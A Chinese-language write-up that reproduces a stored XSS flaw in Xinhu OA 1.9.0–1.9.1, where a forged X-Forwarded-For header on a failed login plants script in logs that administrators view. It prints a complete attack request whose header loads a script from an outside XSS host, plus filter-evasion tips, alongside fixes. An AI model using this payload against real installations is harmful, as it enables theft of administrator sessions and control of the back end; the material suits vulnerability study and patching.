信呼OA存储型XSS 0day复现
字数 1126 2025-08-25 22:58:55
信呼OA存储型XSS漏洞分析与复现教学文档
0x00 漏洞概述
本漏洞是信呼OA系统(v1.9.0~1.9.1)中存在的一个存储型XSS漏洞,由掌控安全讲师风哥发现。该漏洞利用登录日志记录功能,通过伪造X-Forwarded-For头注入恶意脚本,导致存储型XSS攻击。
0x01 受影响版本
- 信呼OA v1.9.0
- 信呼OA v1.9.1
0x02 环境准备
-
下载信呼OA v1.9.0或v1.9.1版本:
- 官网:http://www.rockoa.com/
- GitHub:https://github.com/rainrocka/xinhu
-
搭建测试环境(PHP+MySQL环境)
0x03 漏洞分析
漏洞位置
- 登录处理文件:
webmain/model/loginMode.php - 日志记录功能:
logModel.php - 数据库操作:
mysql.php
漏洞原理
- 登录失败时,系统会调用
addlogs函数记录登录日志 - 日志记录内容包括客户端IP地址
- IP地址从
X-Forwarded-For头中获取,未做充分过滤 - 恶意构造的XSS代码通过
X-Forwarded-For头被记录到数据库中 - 后台查看日志时触发XSS
0x04 漏洞复现步骤
步骤1:搭建测试环境
- 安装信呼OA v1.9.0或v1.9.1
- 完成初始配置,设置管理员账号
步骤2:触发漏洞
- 访问登录页面
- 使用Burp Suite或其他工具拦截登录请求
- 构造恶意请求:
POST /login HTTP/1.1
Host: target.com
X-Forwarded-For: <sCRiPt/SrC=////xs.sb/Jwdu>
Content-Type: application/x-www-form-urlencoded
usname=admin&paword=wrongpassword
步骤3:验证漏洞
- 使用管理员账号登录后台
- 访问日志查看页面
- 观察XSS是否触发(弹窗或执行恶意代码)
0x05 漏洞代码分析
关键代码段1:loginMode.php (209-215行)
// 登录失败时记录日志
if(!$success){
$this->addlogs('登录', '登录失败', array(
'user' => $user,
'pass' => $pass,
'ip' => $this->rock->ip
));
}
关键代码段2:logModel.php
// 添加日志函数
public function addlogs($mod, $type, $data=array())
{
$arr = array(
'mod' => $mod,
'type'=> $type,
'ip' => $this->rock->ip, // 从X-Forwarded-For获取IP
// 其他日志字段...
);
$this->insert($arr);
}
关键代码段3:mysql.php
// 数据库插入操作
public function insert($data)
{
// 构造SQL语句并执行
// 未对$data['ip']进行XSS过滤
}
0x06 漏洞利用技巧
-
XSS代码构造:
- 使用大小写混淆绕过简单过滤:
<sCRiPt> - 使用斜杠混淆:
<sCRiPt/SrC= - 使用多个斜杠防止转义:
////xs.sb/Jwdu>
- 使用大小写混淆绕过简单过滤:
-
利用限制:
- 需要触发登录失败才会记录日志
- 需要管理员查看日志才能触发
-
绕过技巧:
- 使用短域名服务缩短XSS payload
- 使用编码技术绕过可能的过滤
0x07 修复建议
- 对
X-Forwarded-For头进行严格过滤 - 对日志记录内容进行HTML实体编码
- 升级到最新版本(检查是否有官方补丁)
- 实施内容安全策略(CSP)
0x08 总结
该存储型XSS漏洞利用信呼OA系统登录日志记录功能的不安全实现,通过伪造HTTP头注入恶意脚本。漏洞利用需要触发登录失败并诱导管理员查看日志,但一旦成功可导致严重的后果,如窃取管理员会话、控制后台等。